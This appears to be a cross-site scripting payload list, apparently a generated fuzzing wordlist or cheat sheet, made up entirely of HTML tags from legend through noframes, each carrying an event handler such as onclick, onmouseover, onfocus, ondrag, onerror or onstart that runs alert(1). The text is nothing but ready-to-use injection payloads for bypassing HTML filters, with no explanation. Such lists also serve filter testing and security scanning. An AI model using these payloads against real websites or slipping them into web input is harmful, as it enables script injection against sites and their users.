<legend onbeforepaste="alert(1)" contenteditable>test</legend>
<legend onblur=alert(1) tabindex=1 id=x></legend><input autofocus>
<legend onclick="alert(1)">test</legend>
<legend oncontextmenu="alert(1)">test</legend>
<legend oncopy="alert(1)" contenteditable>test</legend>
<legend oncut="alert(1)" contenteditable>test</legend>
<legend ondblclick="alert(1)">test</legend>
<legend onfocusout=alert(1) tabindex=1 id=x></legend><input autofocus>
<legend onkeydown="alert(1)" contenteditable>test</legend>
<legend onkeypress="alert(1)" contenteditable>test</legend>
<legend onkeyup="alert(1)" contenteditable>test</legend>
<legend onmousedown="alert(1)">test</legend>
<legend onmouseenter="alert(1)">test</legend>
<legend onmouseleave="alert(1)">test</legend>
<legend onmousemove="alert(1)">test</legend>
<legend onmouseout="alert(1)">test</legend>
<legend onmouseover="alert(1)">test</legend>
<legend onmouseup="alert(1)">test</legend>
<legend onpaste="alert(1)" contenteditable>test</legend>
<li draggable="true" ondrag="alert(1)">test</li>
<li draggable="true" ondragend="alert(1)">test</li>
<li draggable="true" ondragenter="alert(1)">test</li>
<li draggable="true" ondragleave="alert(1)">test</li>
<li draggable="true" ondragstart="alert(1)">test</li>
<li id=x tabindex=1 onactivate=alert(1)></li>
<li id=x tabindex=1 onbeforeactivate=alert(1)></li>
<li id=x tabindex=1 onbeforedeactivate=alert(1)></li><input autofocus>
<li id=x tabindex=1 ondeactivate=alert(1)></li><input id=y autofocus>
<li id=x tabindex=1 onfocus=alert(1)></li>
<li id=x tabindex=1 onfocusin=alert(1)></li>
<li onbeforecopy="alert(1)" contenteditable>test</li>
<li onbeforecut="alert(1)" contenteditable>test</li>
<li onbeforepaste="alert(1)" contenteditable>test</li>
<li onblur=alert(1) tabindex=1 id=x></li><input autofocus>
<li onclick="alert(1)">test</li>
<li oncontextmenu="alert(1)">test</li>
<li oncopy="alert(1)" contenteditable>test</li>
<li oncut="alert(1)" contenteditable>test</li>
<li ondblclick="alert(1)">test</li>
<li onfocusout=alert(1) tabindex=1 id=x></li><input autofocus>
<li onkeydown="alert(1)" contenteditable>test</li>
<li onkeypress="alert(1)" contenteditable>test</li>
<li onkeyup="alert(1)" contenteditable>test</li>
<li onmousedown="alert(1)">test</li>
<li onmouseenter="alert(1)">test</li>
<li onmouseleave="alert(1)">test</li>
<li onmousemove="alert(1)">test</li>
<li onmouseout="alert(1)">test</li>
<li onmouseover="alert(1)">test</li>
<li onmouseup="alert(1)">test</li>
<li onpaste="alert(1)" contenteditable>test</li>
<link draggable="true" ondrag="alert(1)">test</link>
<link draggable="true" ondragend="alert(1)">test</link>
<link draggable="true" ondragenter="alert(1)">test</link>
<link draggable="true" ondragleave="alert(1)">test</link>
<link draggable="true" ondragstart="alert(1)">test</link>
<link href=validstyles.css rel=stylesheet onload=alert(1)>
<link id=x tabindex=1 onactivate=alert(1)></link>
<link id=x tabindex=1 onbeforeactivate=alert(1)></link>
<link id=x tabindex=1 onbeforedeactivate=alert(1)></link><input autofocus>
<link id=x tabindex=1 ondeactivate=alert(1)></link><input id=y autofocus>
<link onbeforecopy="alert(1)" contenteditable>test</link>
<link onbeforecut="alert(1)" contenteditable>test</link>
<link onbeforepaste="alert(1)" contenteditable>test</link>
<link onblur=alert(1) tabindex=1 id=x></link><input autofocus>
<link onclick="alert(1)">test</link>
<link oncontextmenu="alert(1)">test</link>
<link oncopy="alert(1)" contenteditable>test</link>
<link oncut="alert(1)" contenteditable>test</link>
<link ondblclick="alert(1)">test</link>
<link onfocus=alert(1) id=x tabindex=1 style=display:block>
<link onfocusin=alert(1) id=x tabindex=1 style=display:block>
<link onfocusout=alert(1) tabindex=1 id=x></link><input autofocus>
<link onkeydown="alert(1)" contenteditable>test</link>
<link onkeypress="alert(1)" contenteditable>test</link>
<link onkeyup="alert(1)" contenteditable>test</link>
<link onmousedown="alert(1)">test</link>
<link onmouseenter="alert(1)">test</link>
<link onmouseleave="alert(1)">test</link>
<link onmousemove="alert(1)">test</link>
<link onmouseout="alert(1)">test</link>
<link onmouseover="alert(1)">test</link>
<link onmouseup="alert(1)">test</link>
<link onpaste="alert(1)" contenteditable>test</link>
<link onreadystatechange=alert(1) rel=stylesheet href=1>
<link rel=stylesheet href=1 onerror=alert(1)>
<listing draggable="true" ondrag="alert(1)">test</listing>
<listing draggable="true" ondragend="alert(1)">test</listing>
<listing draggable="true" ondragenter="alert(1)">test</listing>
<listing draggable="true" ondragleave="alert(1)">test</listing>
<listing draggable="true" ondragstart="alert(1)">test</listing>
<listing id=x tabindex=1 onactivate=alert(1)></listing>
<listing id=x tabindex=1 onbeforeactivate=alert(1)></listing>
<listing id=x tabindex=1 onbeforedeactivate=alert(1)></listing><input autofocus>
<listing id=x tabindex=1 ondeactivate=alert(1)></listing><input id=y autofocus>
<listing id=x tabindex=1 onfocus=alert(1)></listing>
<listing id=x tabindex=1 onfocusin=alert(1)></listing>
<listing onbeforecopy="alert(1)" contenteditable>test</listing>
<listing onbeforecut="alert(1)" contenteditable>test</listing>
<listing onbeforepaste="alert(1)" contenteditable>test</listing>
<listing onblur=alert(1) tabindex=1 id=x></listing><input autofocus>
<listing onclick="alert(1)">test</listing>
<listing oncontextmenu="alert(1)">test</listing>
<listing oncopy="alert(1)" contenteditable>test</listing>
<listing oncut="alert(1)" contenteditable>test</listing>
<listing ondblclick="alert(1)">test</listing>
<listing onfocusout=alert(1) tabindex=1 id=x></listing><input autofocus>
<listing onkeydown="alert(1)" contenteditable>test</listing>
<listing onkeypress="alert(1)" contenteditable>test</listing>
<listing onkeyup="alert(1)" contenteditable>test</listing>
<listing onmousedown="alert(1)">test</listing>
<listing onmouseenter="alert(1)">test</listing>
<listing onmouseleave="alert(1)">test</listing>
<listing onmousemove="alert(1)">test</listing>
<listing onmouseout="alert(1)">test</listing>
<listing onmouseover="alert(1)">test</listing>
<listing onmouseup="alert(1)">test</listing>
<listing onpaste="alert(1)" contenteditable>test</listing>
<main draggable="true" ondrag="alert(1)">test</main>
<main draggable="true" ondragend="alert(1)">test</main>
<main draggable="true" ondragenter="alert(1)">test</main>
<main draggable="true" ondragleave="alert(1)">test</main>
<main draggable="true" ondragstart="alert(1)">test</main>
<main id=x tabindex=1 onactivate=alert(1)></main>
<main id=x tabindex=1 onbeforeactivate=alert(1)></main>
<main id=x tabindex=1 onbeforedeactivate=alert(1)></main><input autofocus>
<main id=x tabindex=1 ondeactivate=alert(1)></main><input id=y autofocus>
<main id=x tabindex=1 onfocus=alert(1)></main>
<main id=x tabindex=1 onfocusin=alert(1)></main>
<main onbeforecopy="alert(1)" contenteditable>test</main>
<main onbeforecut="alert(1)" contenteditable>test</main>
<main onbeforepaste="alert(1)" contenteditable>test</main>
<main onblur=alert(1) tabindex=1 id=x></main><input autofocus>
<main onclick="alert(1)">test</main>
<main oncontextmenu="alert(1)">test</main>
<main oncopy="alert(1)" contenteditable>test</main>
<main oncut="alert(1)" contenteditable>test</main>
<main ondblclick="alert(1)">test</main>
<main onfocusout=alert(1) tabindex=1 id=x></main><input autofocus>
<main onkeydown="alert(1)" contenteditable>test</main>
<main onkeypress="alert(1)" contenteditable>test</main>
<main onkeyup="alert(1)" contenteditable>test</main>
<main onmousedown="alert(1)">test</main>
<main onmouseenter="alert(1)">test</main>
<main onmouseleave="alert(1)">test</main>
<main onmousemove="alert(1)">test</main>
<main onmouseout="alert(1)">test</main>
<main onmouseover="alert(1)">test</main>
<main onmouseup="alert(1)">test</main>
<main onpaste="alert(1)" contenteditable>test</main>
<map draggable="true" ondrag="alert(1)">test</map>
<map draggable="true" ondragend="alert(1)">test</map>
<map draggable="true" ondragenter="alert(1)">test</map>
<map draggable="true" ondragleave="alert(1)">test</map>
<map draggable="true" ondragstart="alert(1)">test</map>
<map id=x tabindex=1 onactivate=alert(1)></map>
<map id=x tabindex=1 onbeforeactivate=alert(1)></map>
<map id=x tabindex=1 onbeforedeactivate=alert(1)></map><input autofocus>
<map id=x tabindex=1 ondeactivate=alert(1)></map><input id=y autofocus>
<map id=x tabindex=1 onfocus=alert(1)></map>
<map id=x tabindex=1 onfocusin=alert(1)></map>
<map onbeforecopy="alert(1)" contenteditable>test</map>
<map onbeforecut="alert(1)" contenteditable>test</map>
<map onbeforepaste="alert(1)" contenteditable>test</map>
<map onblur=alert(1) tabindex=1 id=x></map><input autofocus>
<map onclick="alert(1)">test</map>
<map oncontextmenu="alert(1)">test</map>
<map oncopy="alert(1)" contenteditable>test</map>
<map oncut="alert(1)" contenteditable>test</map>
<map ondblclick="alert(1)">test</map>
<map onfocusout=alert(1) tabindex=1 id=x></map><input autofocus>
<map onkeydown="alert(1)" contenteditable>test</map>
<map onkeypress="alert(1)" contenteditable>test</map>
<map onkeyup="alert(1)" contenteditable>test</map>
<map onmousedown="alert(1)">test</map>
<map onmouseenter="alert(1)">test</map>
<map onmouseleave="alert(1)">test</map>
<map onmousemove="alert(1)">test</map>
<map onmouseout="alert(1)">test</map>
<map onmouseover="alert(1)">test</map>
<map onmouseup="alert(1)">test</map>
<map onpaste="alert(1)" contenteditable>test</map>
<mark draggable="true" ondrag="alert(1)">test</mark>
<mark draggable="true" ondragend="alert(1)">test</mark>
<mark draggable="true" ondragenter="alert(1)">test</mark>
<mark draggable="true" ondragleave="alert(1)">test</mark>
<mark draggable="true" ondragstart="alert(1)">test</mark>
<mark id=x tabindex=1 onactivate=alert(1)></mark>
<mark id=x tabindex=1 onbeforeactivate=alert(1)></mark>
<mark id=x tabindex=1 onbeforedeactivate=alert(1)></mark><input autofocus>
<mark id=x tabindex=1 ondeactivate=alert(1)></mark><input id=y autofocus>
<mark id=x tabindex=1 onfocus=alert(1)></mark>
<mark id=x tabindex=1 onfocusin=alert(1)></mark>
<mark onbeforecopy="alert(1)" contenteditable>test</mark>
<mark onbeforecut="alert(1)" contenteditable>test</mark>
<mark onbeforepaste="alert(1)" contenteditable>test</mark>
<mark onblur=alert(1) tabindex=1 id=x></mark><input autofocus>
<mark onclick="alert(1)">test</mark>
<mark oncontextmenu="alert(1)">test</mark>
<mark oncopy="alert(1)" contenteditable>test</mark>
<mark oncut="alert(1)" contenteditable>test</mark>
<mark ondblclick="alert(1)">test</mark>
<mark onfocusout=alert(1) tabindex=1 id=x></mark><input autofocus>
<mark onkeydown="alert(1)" contenteditable>test</mark>
<mark onkeypress="alert(1)" contenteditable>test</mark>
<mark onkeyup="alert(1)" contenteditable>test</mark>
<mark onmousedown="alert(1)">test</mark>
<mark onmouseenter="alert(1)">test</mark>
<mark onmouseleave="alert(1)">test</mark>
<mark onmousemove="alert(1)">test</mark>
<mark onmouseout="alert(1)">test</mark>
<mark onmouseover="alert(1)">test</mark>
<mark onmouseup="alert(1)">test</mark>
<mark onpaste="alert(1)" contenteditable>test</mark>
<marquee draggable="true" ondrag="alert(1)">test</marquee>
<marquee draggable="true" ondragend="alert(1)">test</marquee>
<marquee draggable="true" ondragenter="alert(1)">test</marquee>
<marquee draggable="true" ondragleave="alert(1)">test</marquee>
<marquee draggable="true" ondragstart="alert(1)">test</marquee>
<marquee id=x tabindex=1 onactivate=alert(1)></marquee>
<marquee id=x tabindex=1 onbeforeactivate=alert(1)></marquee>
<marquee id=x tabindex=1 onbeforedeactivate=alert(1)></marquee><input autofocus>
<marquee id=x tabindex=1 ondeactivate=alert(1)></marquee><input id=y autofocus>
<marquee id=x tabindex=1 onfocus=alert(1)></marquee>
<marquee id=x tabindex=1 onfocusin=alert(1)></marquee>
<marquee onbeforecopy="alert(1)" contenteditable>test</marquee>
<marquee onbeforecut="alert(1)" contenteditable>test</marquee>
<marquee onbeforepaste="alert(1)" contenteditable>test</marquee>
<marquee onblur=alert(1) tabindex=1 id=x></marquee><input autofocus>
<marquee onclick="alert(1)">test</marquee>
<marquee oncontextmenu="alert(1)">test</marquee>
<marquee oncopy="alert(1)" contenteditable>test</marquee>
<marquee oncut="alert(1)" contenteditable>test</marquee>
<marquee ondblclick="alert(1)">test</marquee>
<marquee onfocusout=alert(1) tabindex=1 id=x></marquee><input autofocus>
<marquee onkeydown="alert(1)" contenteditable>test</marquee>
<marquee onkeypress="alert(1)" contenteditable>test</marquee>
<marquee onkeyup="alert(1)" contenteditable>test</marquee>
<marquee onmousedown="alert(1)">test</marquee>
<marquee onmouseenter="alert(1)">test</marquee>
<marquee onmouseleave="alert(1)">test</marquee>
<marquee onmousemove="alert(1)">test</marquee>
<marquee onmouseout="alert(1)">test</marquee>
<marquee onmouseover="alert(1)">test</marquee>
<marquee onmouseup="alert(1)">test</marquee>
<marquee onpaste="alert(1)" contenteditable>test</marquee>
<marquee onstart=alert(1)>XSS</marquee>
<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
<menu draggable="true" ondrag="alert(1)">test</menu>
<menu draggable="true" ondragend="alert(1)">test</menu>
<menu draggable="true" ondragenter="alert(1)">test</menu>
<menu draggable="true" ondragleave="alert(1)">test</menu>
<menu draggable="true" ondragstart="alert(1)">test</menu>
<menu id=x tabindex=1 onactivate=alert(1)></menu>
<menu id=x tabindex=1 onbeforeactivate=alert(1)></menu>
<menu id=x tabindex=1 onbeforedeactivate=alert(1)></menu><input autofocus>
<menu id=x tabindex=1 ondeactivate=alert(1)></menu><input id=y autofocus>
<menu id=x tabindex=1 onfocus=alert(1)></menu>
<menu id=x tabindex=1 onfocusin=alert(1)></menu>
<menu onbeforecopy="alert(1)" contenteditable>test</menu>
<menu onbeforecut="alert(1)" contenteditable>test</menu>
<menu onbeforepaste="alert(1)" contenteditable>test</menu>
<menu onblur=alert(1) tabindex=1 id=x></menu><input autofocus>
<menu onclick="alert(1)">test</menu>
<menu oncontextmenu="alert(1)">test</menu>
<menu oncopy="alert(1)" contenteditable>test</menu>
<menu oncut="alert(1)" contenteditable>test</menu>
<menu ondblclick="alert(1)">test</menu>
<menu onfocusout=alert(1) tabindex=1 id=x></menu><input autofocus>
<menu onkeydown="alert(1)" contenteditable>test</menu>
<menu onkeypress="alert(1)" contenteditable>test</menu>
<menu onkeyup="alert(1)" contenteditable>test</menu>
<menu onmousedown="alert(1)">test</menu>
<menu onmouseenter="alert(1)">test</menu>
<menu onmouseleave="alert(1)">test</menu>
<menu onmousemove="alert(1)">test</menu>
<menu onmouseout="alert(1)">test</menu>
<menu onmouseover="alert(1)">test</menu>
<menu onmouseup="alert(1)">test</menu>
<menu onpaste="alert(1)" contenteditable>test</menu>
<menuitem draggable="true" ondrag="alert(1)">test</menuitem>
<menuitem draggable="true" ondragend="alert(1)">test</menuitem>
<menuitem draggable="true" ondragenter="alert(1)">test</menuitem>
<menuitem draggable="true" ondragleave="alert(1)">test</menuitem>
<menuitem draggable="true" ondragstart="alert(1)">test</menuitem>
<menuitem id=x tabindex=1 onactivate=alert(1)></menuitem>
<menuitem id=x tabindex=1 onbeforeactivate=alert(1)></menuitem>
<menuitem id=x tabindex=1 onbeforedeactivate=alert(1)></menuitem><input autofocus>
<menuitem id=x tabindex=1 ondeactivate=alert(1)></menuitem><input id=y autofocus>
<menuitem id=x tabindex=1 onfocus=alert(1)></menuitem>
<menuitem id=x tabindex=1 onfocusin=alert(1)></menuitem>
<menuitem onbeforecopy="alert(1)" contenteditable>test</menuitem>
<menuitem onbeforecut="alert(1)" contenteditable>test</menuitem>
<menuitem onbeforepaste="alert(1)" contenteditable>test</menuitem>
<menuitem onblur=alert(1) tabindex=1 id=x></menuitem><input autofocus>
<menuitem onclick="alert(1)">test</menuitem>
<menuitem oncontextmenu="alert(1)">test</menuitem>
<menuitem oncopy="alert(1)" contenteditable>test</menuitem>
<menuitem oncut="alert(1)" contenteditable>test</menuitem>
<menuitem ondblclick="alert(1)">test</menuitem>
<menuitem onfocusout=alert(1) tabindex=1 id=x></menuitem><input autofocus>
<menuitem onkeydown="alert(1)" contenteditable>test</menuitem>
<menuitem onkeypress="alert(1)" contenteditable>test</menuitem>
<menuitem onkeyup="alert(1)" contenteditable>test</menuitem>
<menuitem onmousedown="alert(1)">test</menuitem>
<menuitem onmouseenter="alert(1)">test</menuitem>
<menuitem onmouseleave="alert(1)">test</menuitem>
<menuitem onmousemove="alert(1)">test</menuitem>
<menuitem onmouseout="alert(1)">test</menuitem>
<menuitem onmouseover="alert(1)">test</menuitem>
<menuitem onmouseup="alert(1)">test</menuitem>
<menuitem onpaste="alert(1)" contenteditable>test</menuitem>
<meta draggable="true" ondrag="alert(1)">test</meta>
<meta draggable="true" ondragend="alert(1)">test</meta>
<meta draggable="true" ondragenter="alert(1)">test</meta>
<meta draggable="true" ondragleave="alert(1)">test</meta>
<meta draggable="true" ondragstart="alert(1)">test</meta>
<meta id=x tabindex=1 onactivate=alert(1)></meta>
<meta id=x tabindex=1 onbeforeactivate=alert(1)></meta>
<meta id=x tabindex=1 onbeforedeactivate=alert(1)></meta><input autofocus>
<meta id=x tabindex=1 ondeactivate=alert(1)></meta><input id=y autofocus>
<meta id=x tabindex=1 onfocus=alert(1)></meta>
<meta id=x tabindex=1 onfocusin=alert(1)></meta>
<meta onbeforecopy="alert(1)" contenteditable>test</meta>
<meta onbeforecut="alert(1)" contenteditable>test</meta>
<meta onbeforepaste="alert(1)" contenteditable>test</meta>
<meta onblur=alert(1) tabindex=1 id=x></meta><input autofocus>
<meta onclick="alert(1)">test</meta>
<meta oncontextmenu="alert(1)">test</meta>
<meta oncopy="alert(1)" contenteditable>test</meta>
<meta oncut="alert(1)" contenteditable>test</meta>
<meta ondblclick="alert(1)">test</meta>
<meta onfocusout=alert(1) tabindex=1 id=x></meta><input autofocus>
<meta onkeydown="alert(1)" contenteditable>test</meta>
<meta onkeypress="alert(1)" contenteditable>test</meta>
<meta onkeyup="alert(1)" contenteditable>test</meta>
<meta onmousedown="alert(1)">test</meta>
<meta onmouseenter="alert(1)">test</meta>
<meta onmouseleave="alert(1)">test</meta>
<meta onmousemove="alert(1)">test</meta>
<meta onmouseout="alert(1)">test</meta>
<meta onmouseover="alert(1)">test</meta>
<meta onmouseup="alert(1)">test</meta>
<meta onpaste="alert(1)" contenteditable>test</meta>
<meter draggable="true" ondrag="alert(1)">test</meter>
<meter draggable="true" ondragend="alert(1)">test</meter>
<meter draggable="true" ondragenter="alert(1)">test</meter>
<meter draggable="true" ondragleave="alert(1)">test</meter>
<meter draggable="true" ondragstart="alert(1)">test</meter>
<meter id=x tabindex=1 onactivate=alert(1)></meter>
<meter id=x tabindex=1 onbeforeactivate=alert(1)></meter>
<meter id=x tabindex=1 onbeforedeactivate=alert(1)></meter><input autofocus>
<meter id=x tabindex=1 ondeactivate=alert(1)></meter><input id=y autofocus>
<meter id=x tabindex=1 onfocus=alert(1)></meter>
<meter id=x tabindex=1 onfocusin=alert(1)></meter>
<meter onbeforecopy="alert(1)" contenteditable>test</meter>
<meter onbeforecut="alert(1)" contenteditable>test</meter>
<meter onbeforepaste="alert(1)" contenteditable>test</meter>
<meter onblur=alert(1) tabindex=1 id=x></meter><input autofocus>
<meter onclick="alert(1)">test</meter>
<meter oncontextmenu="alert(1)">test</meter>
<meter oncopy="alert(1)" contenteditable>test</meter>
<meter oncut="alert(1)" contenteditable>test</meter>
<meter ondblclick="alert(1)">test</meter>
<meter onfocusout=alert(1) tabindex=1 id=x></meter><input autofocus>
<meter onkeydown="alert(1)" contenteditable>test</meter>
<meter onkeypress="alert(1)" contenteditable>test</meter>
<meter onkeyup="alert(1)" contenteditable>test</meter>
<meter onmousedown="alert(1)">test</meter>
<meter onmouseenter="alert(1)">test</meter>
<meter onmouseleave="alert(1)">test</meter>
<meter onmousemove="alert(1)">test</meter>
<meter onmouseout="alert(1)">test</meter>
<meter onmouseover="alert(1)">test</meter>
<meter onmouseup="alert(1)">test</meter>
<meter onpaste="alert(1)" contenteditable>test</meter>
<multicol draggable="true" ondrag="alert(1)">test</multicol>
<multicol draggable="true" ondragend="alert(1)">test</multicol>
<multicol draggable="true" ondragenter="alert(1)">test</multicol>
<multicol draggable="true" ondragleave="alert(1)">test</multicol>
<multicol draggable="true" ondragstart="alert(1)">test</multicol>
<multicol id=x tabindex=1 onactivate=alert(1)></multicol>
<multicol id=x tabindex=1 onbeforeactivate=alert(1)></multicol>
<multicol id=x tabindex=1 onbeforedeactivate=alert(1)></multicol><input autofocus>
<multicol id=x tabindex=1 ondeactivate=alert(1)></multicol><input id=y autofocus>
<multicol id=x tabindex=1 onfocus=alert(1)></multicol>
<multicol id=x tabindex=1 onfocusin=alert(1)></multicol>
<multicol onbeforecopy="alert(1)" contenteditable>test</multicol>
<multicol onbeforecut="alert(1)" contenteditable>test</multicol>
<multicol onbeforepaste="alert(1)" contenteditable>test</multicol>
<multicol onblur=alert(1) tabindex=1 id=x></multicol><input autofocus>
<multicol onclick="alert(1)">test</multicol>
<multicol oncontextmenu="alert(1)">test</multicol>
<multicol oncopy="alert(1)" contenteditable>test</multicol>
<multicol oncut="alert(1)" contenteditable>test</multicol>
<multicol ondblclick="alert(1)">test</multicol>
<multicol onfocusout=alert(1) tabindex=1 id=x></multicol><input autofocus>
<multicol onkeydown="alert(1)" contenteditable>test</multicol>
<multicol onkeypress="alert(1)" contenteditable>test</multicol>
<multicol onkeyup="alert(1)" contenteditable>test</multicol>
<multicol onmousedown="alert(1)">test</multicol>
<multicol onmouseenter="alert(1)">test</multicol>
<multicol onmouseleave="alert(1)">test</multicol>
<multicol onmousemove="alert(1)">test</multicol>
<multicol onmouseout="alert(1)">test</multicol>
<multicol onmouseover="alert(1)">test</multicol>
<multicol onmouseup="alert(1)">test</multicol>
<multicol onpaste="alert(1)" contenteditable>test</multicol>
<nav draggable="true" ondrag="alert(1)">test</nav>
<nav draggable="true" ondragend="alert(1)">test</nav>
<nav draggable="true" ondragenter="alert(1)">test</nav>
<nav draggable="true" ondragleave="alert(1)">test</nav>
<nav draggable="true" ondragstart="alert(1)">test</nav>
<nav id=x tabindex=1 onactivate=alert(1)></nav>
<nav id=x tabindex=1 onbeforeactivate=alert(1)></nav>
<nav id=x tabindex=1 onbeforedeactivate=alert(1)></nav><input autofocus>
<nav id=x tabindex=1 ondeactivate=alert(1)></nav><input id=y autofocus>
<nav id=x tabindex=1 onfocus=alert(1)></nav>
<nav id=x tabindex=1 onfocusin=alert(1)></nav>
<nav onbeforecopy="alert(1)" contenteditable>test</nav>
<nav onbeforecut="alert(1)" contenteditable>test</nav>
<nav onbeforepaste="alert(1)" contenteditable>test</nav>
<nav onblur=alert(1) tabindex=1 id=x></nav><input autofocus>
<nav onclick="alert(1)">test</nav>
<nav oncontextmenu="alert(1)">test</nav>
<nav oncopy="alert(1)" contenteditable>test</nav>
<nav oncut="alert(1)" contenteditable>test</nav>
<nav ondblclick="alert(1)">test</nav>
<nav onfocusout=alert(1) tabindex=1 id=x></nav><input autofocus>
<nav onkeydown="alert(1)" contenteditable>test</nav>
<nav onkeypress="alert(1)" contenteditable>test</nav>
<nav onkeyup="alert(1)" contenteditable>test</nav>
<nav onmousedown="alert(1)">test</nav>
<nav onmouseenter="alert(1)">test</nav>
<nav onmouseleave="alert(1)">test</nav>
<nav onmousemove="alert(1)">test</nav>
<nav onmouseout="alert(1)">test</nav>
<nav onmouseover="alert(1)">test</nav>
<nav onmouseup="alert(1)">test</nav>
<nav onpaste="alert(1)" contenteditable>test</nav>
<nextid draggable="true" ondrag="alert(1)">test</nextid>
<nextid draggable="true" ondragend="alert(1)">test</nextid>
<nextid draggable="true" ondragenter="alert(1)">test</nextid>
<nextid draggable="true" ondragleave="alert(1)">test</nextid>
<nextid draggable="true" ondragstart="alert(1)">test</nextid>
<nextid id=x tabindex=1 onactivate=alert(1)></nextid>
<nextid id=x tabindex=1 onbeforeactivate=alert(1)></nextid>
<nextid id=x tabindex=1 onbeforedeactivate=alert(1)></nextid><input autofocus>
<nextid id=x tabindex=1 ondeactivate=alert(1)></nextid><input id=y autofocus>
<nextid id=x tabindex=1 onfocus=alert(1)></nextid>
<nextid id=x tabindex=1 onfocusin=alert(1)></nextid>
<nextid onbeforecopy="alert(1)" contenteditable>test</nextid>
<nextid onbeforecut="alert(1)" contenteditable>test</nextid>
<nextid onbeforepaste="alert(1)" contenteditable>test</nextid>
<nextid onblur=alert(1) tabindex=1 id=x></nextid><input autofocus>
<nextid onclick="alert(1)">test</nextid>
<nextid oncontextmenu="alert(1)">test</nextid>
<nextid oncopy="alert(1)" contenteditable>test</nextid>
<nextid oncut="alert(1)" contenteditable>test</nextid>
<nextid ondblclick="alert(1)">test</nextid>
<nextid onfocusout=alert(1) tabindex=1 id=x></nextid><input autofocus>
<nextid onkeydown="alert(1)" contenteditable>test</nextid>
<nextid onkeypress="alert(1)" contenteditable>test</nextid>
<nextid onkeyup="alert(1)" contenteditable>test</nextid>
<nextid onmousedown="alert(1)">test</nextid>
<nextid onmouseenter="alert(1)">test</nextid>
<nextid onmouseleave="alert(1)">test</nextid>
<nextid onmousemove="alert(1)">test</nextid>
<nextid onmouseout="alert(1)">test</nextid>
<nextid onmouseover="alert(1)">test</nextid>
<nextid onmouseup="alert(1)">test</nextid>
<nextid onpaste="alert(1)" contenteditable>test</nextid>
<nobr draggable="true" ondrag="alert(1)">test</nobr>
<nobr draggable="true" ondragend="alert(1)">test</nobr>
<nobr draggable="true" ondragenter="alert(1)">test</nobr>
<nobr draggable="true" ondragleave="alert(1)">test</nobr>
<nobr draggable="true" ondragstart="alert(1)">test</nobr>
<nobr id=x tabindex=1 onactivate=alert(1)></nobr>
<nobr id=x tabindex=1 onbeforeactivate=alert(1)></nobr>
<nobr id=x tabindex=1 onbeforedeactivate=alert(1)></nobr><input autofocus>
<nobr id=x tabindex=1 ondeactivate=alert(1)></nobr><input id=y autofocus>
<nobr id=x tabindex=1 onfocus=alert(1)></nobr>
<nobr id=x tabindex=1 onfocusin=alert(1)></nobr>
<nobr onbeforecopy="alert(1)" contenteditable>test</nobr>
<nobr onbeforecut="alert(1)" contenteditable>test</nobr>
<nobr onbeforepaste="alert(1)" contenteditable>test</nobr>
<nobr onblur=alert(1) tabindex=1 id=x></nobr><input autofocus>
<nobr onclick="alert(1)">test</nobr>
<nobr oncontextmenu="alert(1)">test</nobr>
<nobr oncopy="alert(1)" contenteditable>test</nobr>
<nobr oncut="alert(1)" contenteditable>test</nobr>
<nobr ondblclick="alert(1)">test</nobr>
<nobr onfocusout=alert(1) tabindex=1 id=x></nobr><input autofocus>
<nobr onkeydown="alert(1)" contenteditable>test</nobr>
<nobr onkeypress="alert(1)" contenteditable>test</nobr>
<nobr onkeyup="alert(1)" contenteditable>test</nobr>
<nobr onmousedown="alert(1)">test</nobr>
<nobr onmouseenter="alert(1)">test</nobr>
<nobr onmouseleave="alert(1)">test</nobr>
<nobr onmousemove="alert(1)">test</nobr>
<nobr onmouseout="alert(1)">test</nobr>
<nobr onmouseover="alert(1)">test</nobr>
<nobr onmouseup="alert(1)">test</nobr>
<nobr onpaste="alert(1)" contenteditable>test</nobr>
<noembed draggable="true" ondrag="alert(1)">test</noembed>
<noembed draggable="true" ondragend="alert(1)">test</noembed>
<noembed draggable="true" ondragenter="alert(1)">test</noembed>
<noembed draggable="true" ondragleave="alert(1)">test</noembed>
<noembed draggable="true" ondragstart="alert(1)">test</noembed>
<noembed id=x tabindex=1 onactivate=alert(1)></noembed>
<noembed id=x tabindex=1 onbeforeactivate=alert(1)></noembed>
<noembed id=x tabindex=1 onbeforedeactivate=alert(1)></noembed><input autofocus>
<noembed id=x tabindex=1 ondeactivate=alert(1)></noembed><input id=y autofocus>
<noembed id=x tabindex=1 onfocus=alert(1)></noembed>
<noembed id=x tabindex=1 onfocusin=alert(1)></noembed>
<noembed onbeforecopy="alert(1)" contenteditable>test</noembed>
<noembed onbeforecut="alert(1)" contenteditable>test</noembed>
<noembed onbeforepaste="alert(1)" contenteditable>test</noembed>
<noembed onblur=alert(1) tabindex=1 id=x></noembed><input autofocus>
<noembed onclick="alert(1)">test</noembed>
<noembed oncontextmenu="alert(1)">test</noembed>
<noembed oncopy="alert(1)" contenteditable>test</noembed>
<noembed oncut="alert(1)" contenteditable>test</noembed>
<noembed ondblclick="alert(1)">test</noembed>
<noembed onfocusout=alert(1) tabindex=1 id=x></noembed><input autofocus>
<noembed onkeydown="alert(1)" contenteditable>test</noembed>
<noembed onkeypress="alert(1)" contenteditable>test</noembed>
<noembed onkeyup="alert(1)" contenteditable>test</noembed>
<noembed onmousedown="alert(1)">test</noembed>
<noembed onmouseenter="alert(1)">test</noembed>
<noembed onmouseleave="alert(1)">test</noembed>
<noembed onmousemove="alert(1)">test</noembed>
<noembed onmouseout="alert(1)">test</noembed>
<noembed onmouseover="alert(1)">test</noembed>
<noembed onmouseup="alert(1)">test</noembed>
<noembed onpaste="alert(1)" contenteditable>test</noembed>
<noframes draggable="true" ondrag="alert(1)">test</noframes>
<noframes draggable="true" ondragend="alert(1)">test</noframes>
<noframes draggable="true" ondragenter="alert(1)">test</noframes>
<noframes draggable="true" ondragleave="alert(1)">test</noframes>
<noframes draggable="true" ondragstart="alert(1)">test</noframes>
<noframes id=x tabindex=1 onactivate=alert(1)></noframes>
<noframes id=x tabindex=1 onbeforeactivate=alert(1)></noframes>
<noframes id=x tabindex=1 onbeforedeactivate=alert(1)></noframes><input autofocus>
<noframes id=x tabindex=1 ondeactivate=alert(1)></noframes><input id=y autofocus>
<noframes id=x tabindex=1 onfocus=alert(1)></noframes>
<noframes id=x tabindex=1 onfocusin=alert(1)></noframes>
<noframes onbeforecopy="alert(1)" contenteditable>test</noframes>
<noframes onbeforecut="alert(1)" contenteditable>test</noframes>
<noframes onbeforepaste="alert(1)" contenteditable>test</noframes>
<noframes onblur=alert(1) tabindex=1 id=x></noframes><input autofocus>
<noframes onclick="alert(1)">test</noframes>
<noframes oncontextmenu="alert(1)">test</noframes>
